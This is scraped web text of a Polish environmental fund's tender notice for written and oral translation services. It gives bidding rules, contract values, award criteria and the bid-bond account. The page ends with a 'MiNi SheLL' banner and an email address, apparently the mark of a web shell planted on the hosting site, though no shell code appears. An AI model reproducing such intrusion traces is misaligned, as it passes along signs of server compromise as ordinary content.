Zaleca się, aby Pełnomocnikiem był jeden z Wykonawców wspólnie ubiegających się o udzielenie zamówienia. Pełnomocnictwo (dokument ustanawiający pełnomocnika, złożony w oryginale) może być udzielone w szczególności: - łącznie przez wszystkich Wykonawców (jeden dokument), - oddzielnie przez każdego z nich (tyle dokumentów ilu Wykonawców). Wszelką korespondencję Zamawiający będzie prowadził wyłącznie z Pełnomocnikiem. Wykonawcy wspólnie ubiegający się o udzielenie zamówienia ponoszą solidarną odpowiedzialność za wykonanie umowy. Pełnomocnictwa (dokumenty ustanawiające pełnomocnika) składane przez Wykonawcę muszą być przedstawione w formie oryginałów lub notarialnie poświadczonych kopii. 6. Niniejsze postępowanie prowadzone jest w języku polskim. W niniejszym postępowaniu, z zastrzeżeniem oferty i dokumentów składanych wraz z ofertą oraz wymaganych na potwierdzenie okoliczności, o których mowa w art. 25 ust. 1 ustawy Pzp lub ich uzupełniania, oświadczenia, wnioski, zawiadomienia oraz informacje Zamawiający i Wykonawcy przekazują faksem lub przy użyciu środków komunikacji elektronicznej w rozumieniu ustawy z dnia 18 lipca 2002 r. o świadczeniu usług drogą elektroniczną, zwanej ,,drogą elektroniczną" (mailem). Osobą uprawnioną przez Zamawiającego do kontaktowania się z Wykonawcami jest: Zbigniew Majchrzak - od poniedziałku do piątku w godz. 7:30 - 15:30; nr faksu +48 22 45 90 201, e-mail: Zbigniew.Majchrzak@nfosigw.gov.pl. 7. Oświadczenia, o których mowa w pkt. 9 IDW dotyczące Wykonawcy i innych podmiotów, na których zdolnościach lub sytuacji polega Wykonawca na zasadach określonych w art. 22a ustawy Pzp, składane są w oryginale. Dokumenty, o których mowa w IDW, inne niż oświadczenia, składane są w oryginale lub kopii poświadczonej za zgodność z oryginałem. Dokumenty sporządzone w języku obcym są składane wraz z tłumaczeniem na język polski. 8. Oświadczenia i dokumenty składane przez Wykonawcę wraz z ofertą, dla których Zamawiający określił wzory w IDW, powinny zostać sporządzone z ich wykorzystaniem lub być z nimi zgodne - co do treści.</span> </div> </div> <div class="headerLarge_xforms" style="text-align: center"> <u> ZAŁĄCZNIK I - INFORMACJE DOTYCZĄCE OFERT CZĘŚCIOWYCH </u> </div> <br /> <div> <br /> <table><tr><td><b>Część nr: </b></td><td>1</td><td><b>Nazwa: </b></td><td>Usługi tłumaczenia pisemnego i ustnego z języka polskiego na język angielski, niemiecki i francuski oraz z języka angielskiego, niemieckiego i francuskiego na język polski.</td></tr></table><b>1) Krótki opis przedmiotu zamówienia </b><i> (wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego -określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>Przedmiotem zamówienia są usługi tłumaczenia pisemnego i ustnego z języka polskiego na język angielski, niemiecki i francuski oraz z języka angielskiego, niemieckiego i francuskiego na język polski.Podstawą wykonania tłumaczenia jest złożenie przez NFOŚiGW e-mailem lub faksem zamówienia określającego rodzaj tłumaczenia oraz termin jego realizacji.Zakres przedmiotowego zamówienia obejmuje w szczególności:1. tłumaczenia ustne symultaniczne i konsekutywne podczas spotkań, konferencji, seminariów, organizowanych przez NFOŚiGW, odbywających się na terytorium Rzeczpospolitej Polskiej, obejmujące w szczególności tematykę z zakresu ochrony środowiska;2. tłumaczenia pisemne, standardowe, specjalistyczne nieprzysięgłe oraz specjalistyczne przysięgłe (tj. sporządzane przez tłumacza przysięgłego, w stosownej formie i opatrzone pieczęcią) dokumentów i tekstów dostarczanych Wykonawcy przez NFOŚiGW, obejmujące w szczególności tematykę z zakresu ochrony środowiska wraz z weryfikacją tłumaczeń przez native speaker'a;3. weryfikacja przez native speaker'a tekstów oraz materiałów promocyjnych NFOŚiGW już przetłumaczonych z języka polskiego na język angielski, pod kątem poprawności językowej;4. zapewnienie niezbędnego sprzętu do wykonywania tłumaczeń symultanicznych dla max. 200 osób (aparatura symultaniczna wraz z kabiną tłumaczy, słuchawki, mikrofony konferencyjne, system nagłośnieniowy, nagranie przebiegu posiedzenia na nośnik CD w oryginalnej wersji językowej, obsługa techniczna - transport, montaż, obsługa, demontaż po zakończeniu);5. zapewnienie pamięci tłumaczeniowej w formacie TMX lub txt.Szczegółowy opis przedmiotu zamówienia zawarty został w Części III-1 SIWZ.<br/><b> 2) Wspólny Słownik Zamówień(CPV): </b>79530000-8, 79540000-1<br/><br/><b> 3) Wartość części zamówienia(jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br/>Wartość bez VAT: 128211,38<br/>Waluta: <br/>PLN<br/><b> 4) Czas trwania lub termin wykonania: </b><br/>okres w miesiącach: 24<br/>okres w dniach: <br/>data rozpoczęcia: <br/>data zakończenia: <br/><b> 5) Kryteria oceny ofert: </b><br/><TABLE style="border: 1px solid black;border-collapse: collapse;"><tr><td style="border: 1px solid black;border-collapse: collapse;">Kryterium</td><td style="border: 1px solid black;border-collapse: collapse;">Znaczenie</td></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">Cena</td><td style="border: 1px solid black;border-collapse: collapse;">60,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">Termin wykonania tłumaczeń</td><td style="border: 1px solid black;border-collapse: collapse;">40,00</TD></tr></TABLE><br/><b>6) INFORMACJE DODATKOWE:</b>Zamawiający wymaga wniesienia wadium w wysokości 1 600,00 zł (słownie: jeden tysiąc sześćset złotych). Okres ważności wadium musi obejmować cały okres związania ofertą, o którym mowa w pkt XIX IDW i pkt. IV.6.3) ogłoszenia.Wadium wnoszone w pieniądzu należy wpłacić przelewem na następujący rachunek: BGK Oddział Warszawa 27 1130 1017 0000 0109 9520 0093.<br/><br/><br/><table><tr><td><b>Część nr: </b></td><td>2</td><td><b>Nazwa: </b></td><td>Usługi tłumaczenia pisemnego i ustnego z języka polskiego na język rosyjski i ukraiński oraz z języka rosyjskiego i ukraińskiego na język polski.</td></tr></table><b>1) Krótki opis przedmiotu zamówienia </b><i> (wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego -określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>Przedmiotem zamówienia są usługi tłumaczenia pisemnego i ustnego z języka polskiego na język rosyjski i ukraiński oraz z języka rosyjskiego i ukraińskiego na język polski.Podstawą wykonania tłumaczenia jest złożenie przez NFOŚiGW e-mailem lub faksem zamówienia określającego rodzaj tłumaczenia oraz termin jego realizacji.Zakres przedmiotowego zamówienia obejmuje w szczególności:1. tłumaczenia ustne symultaniczne i konsekutywne podczas spotkań, konferencji, seminariów, organizowanych przez NFOŚiGW, odbywających się na terytorium Rzeczpospolitej Polskiej, obejmujące w szczególności tematykę z zakresu ochrony środowiska;2. tłumaczenia pisemne, standardowe, specjalistyczne nieprzysięgłe oraz specjalistyczne przysięgłe (tj. sporządzane przez tłumacza przysięgłego, w stosownej formie i opatrzone pieczęcią) dokumentów i tekstów dostarczanych Wykonawcy przez NFOŚiGW, obejmujące w szczególności tematykę z zakresu ochrony środowiska wraz z weryfikacją tłumaczeń przez native speaker'a;3. weryfikacja przez native speaker'a tekstów oraz materiałów promocyjnych NFOŚiGW już przetłumaczonych z języka polskiego na język angielski, pod kątem poprawności językowej;4. zapewnienie niezbędnego sprzętu do wykonywania tłumaczeń symultanicznych dla max. 200 osób (aparatura symultaniczna wraz z kabiną tłumaczy, słuchawki, mikrofony konferencyjne, system nagłośnieniowy, nagranie przebiegu posiedzenia na nośnik CD w oryginalnej wersji językowej, obsługa techniczna - transport, montaż, obsługa, demontaż po zakończeniu);5. zapewnienie pamięci tłumaczeniowej w formacie TMX lub txt.Szczegółowy opis przedmiotu zamówienia zawarty został w Części III-2 SIWZ.<br/><b> 2) Wspólny Słownik Zamówień(CPV): </b>79530000-8, 79540000-1<br/><br/><b> 3) Wartość części zamówienia(jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br/>Wartość bez VAT: 24390,24<br/>Waluta: <br/>PLN<br/><b> 4) Czas trwania lub termin wykonania: </b><br/>okres w miesiącach: 24<br/>okres w dniach: <br/>data rozpoczęcia: <br/>data zakończenia: <br/><b> 5) Kryteria oceny ofert: </b><br/><TABLE style="border: 1px solid black;border-collapse: collapse;"><tr><td style="border: 1px solid black;border-collapse: collapse;">Kryterium</td><td style="border: 1px solid black;border-collapse: collapse;">Znaczenie</td></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">Cena</td><td style="border: 1px solid black;border-collapse: collapse;">60,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">Termin wykonania tłumaczeń</td><td style="border: 1px solid black;border-collapse: collapse;">40,00</TD></tr></TABLE><br/><b>6) INFORMACJE DODATKOWE:</b>Zamawiający wymaga wniesienia wadium w wysokości 400,00 zł (słownie: czterysta złotych) Okres ważności wadium musi obejmować cały okres związania ofertą, o którym mowa w pkt XIX IDW i pkt. IV.6.3) ogłoszenia.Wadium wnoszone w pieniądzu należy wpłacić przelewem na następujący rachunek: BGK Oddział Warszawa 27 1130 1017 0000 0109 9520 0093.<br/><br/><br/> </div> <br /> <br /> </div> <br /> <br /> <table> <tr> <td> </td> </tr> </table> </div> <script type="text/javascript">//<![CDATA[//]]></script>

Creat By MiNi SheLL
Email: jattceo@gmail.com